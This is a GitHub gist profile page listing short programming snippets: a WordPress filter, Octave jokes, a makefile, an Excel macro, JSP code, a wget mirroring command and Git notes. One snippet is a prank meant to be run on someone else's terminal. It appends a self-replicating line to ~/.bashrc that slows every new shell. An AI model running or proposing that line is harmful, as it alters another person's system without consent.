Skip to content

Instantly share code, notes, and snippets.

View obstschale's full-sized avatar
🥑
Avocado for the wise.

Hans-Helge Buerger obstschale

🥑
Avocado for the wise.
View GitHub Profile
@obstschale
obstschale / filter_posts.php
Created November 20, 2013 20:28
WordPress: add additional filter options to post type site for each taxonomy which is used for this plugin
function filter_posts() {
global $typenow;
if( 'podcast' == $typenow ){
/* push each taxonomy name, which is used in this plugin
* into _tax array. filter_posts() uses this array
* to know which taxonomy is used and display filter options
* for that
*/
@obstschale
obstschale / octave.md
Last active March 29, 2024 22:51
An Octave introduction cheat sheet.
@obstschale
obstschale / gist:7315498
Created November 5, 2013 08:08
A little bit fun with Octave ;) Illustration of a famous book.
octave:> imagesc(rand(5,10)), colorbar, colormap gray;
octave:> title('50 shades of gray')
# Can't wait for April 1st? Run over to someone's terminal and drop this line.
echo 'echo "sleep 1" >> ~/.bashrc' >> ~/.bashrc
@obstschale
obstschale / makefile
Created October 16, 2013 07:30
Template: Simple makefile for compiling C programs using gcc
# CC is the compiler which will be used
CC=gcc
# CFLAGS are the options I'll pass to the compiler
CFLAGS=-c -Wall
all: hello
hello: main.o factorial.o hello.o
$(CC) main.o factorial.o hello.o -o hello
@obstschale
obstschale / export_to_csv
Created September 10, 2013 09:47
From http://www.ozgrid.com/forum/showthread.php?t=76720 Excle Macro to export a range of cells into .csv file. I haven't tested it but it looks good. Anyhow I don't take any responsibility for this code.
Sub CmdButton_Click()
On Error Goto CmdButton_Click_Error
'
' export Macro
Selection.Copy
'create new workbook
Workbooks.Add
' Paste into it
@obstschale
obstschale / allParameter.java
Created June 4, 2013 11:46
Display all given parameter in a JSP file.
Map<String, String[]> parameters = request.getParameterMap();
for(String parameter : parameters.keySet()) {
if(!parameter.toLowerCase().startsWith("submitbutton")) {
String[] values = parameters.get(parameter);
//your code here
%> <p> <%= parameter %>: <strong><%= values[0] %></strong> </p> <%
}
}
@obstschale
obstschale / downloadEntireWebpage.sh
Last active December 17, 2015 06:48
If you ever need to download an entire Web site, perhaps for off-line viewing, wget can do the.
$ wget \
--recursive \
--no-clobber \
--page-requisites \
--html-extension \
--convert-links \
--restrict-file-names=windows \
--domains website.org \
--no-parent \
www.website.org/tutorials/html/

NFJS Git Workshop

  • Create a repo
    • git config --global user.name "Tim Berglund"
    • git config --global user.email "tlberglund@github.com"
    • git config --global color.ui auto
    • git init atlanta
  • Add files
    • Create caesar.txt
    • git add caesar.txt
#!/bin/bash
while :
do
clear
git --no-pager log --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%ci) %C(bold blue)<%an>%Creset' --abbrev-commit --date=relative --all
sleep 1
done